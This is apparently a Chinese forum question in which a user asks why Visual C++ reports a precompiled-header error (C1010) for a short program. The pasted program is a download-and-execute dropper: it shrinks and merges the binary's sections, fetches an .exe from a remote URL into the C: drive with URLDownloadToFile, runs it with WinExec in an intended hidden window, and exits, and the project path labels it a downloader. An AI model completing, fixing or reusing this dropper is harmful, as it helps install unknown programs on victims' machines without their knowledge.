我用VC编译C程序,提示出现一个错误
#pragma
comment(linker,"/ENTRY:Entrypoint/FILEALIGN:0x200/MERGE:.data=.text/MERGE:.rdata=.text/SECTI
ON:.text,EWR/IGNORE:4078")
#include<windows.h>
#pragma comment(lib,"Urlmon.lib")
void Entrypoint()
{
URLDownloadToFile(0,"http://www.163.com/hanhua.exe","c:\\hanhua.exe",0,0);
WinExec("c:\\hanhua.exe",SW_IIIDE);
exit(0);
}
错误如下:
--------------------Configuration: dll - Win32 Release--------------------
Compiling...
dll.cpp
E:\Vc编程资料\自己写代码\down\DLL下载者\DLL该成EXE\dll\dll.cpp(16) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.
dll.exe - 1 error(s), 0 warning(s)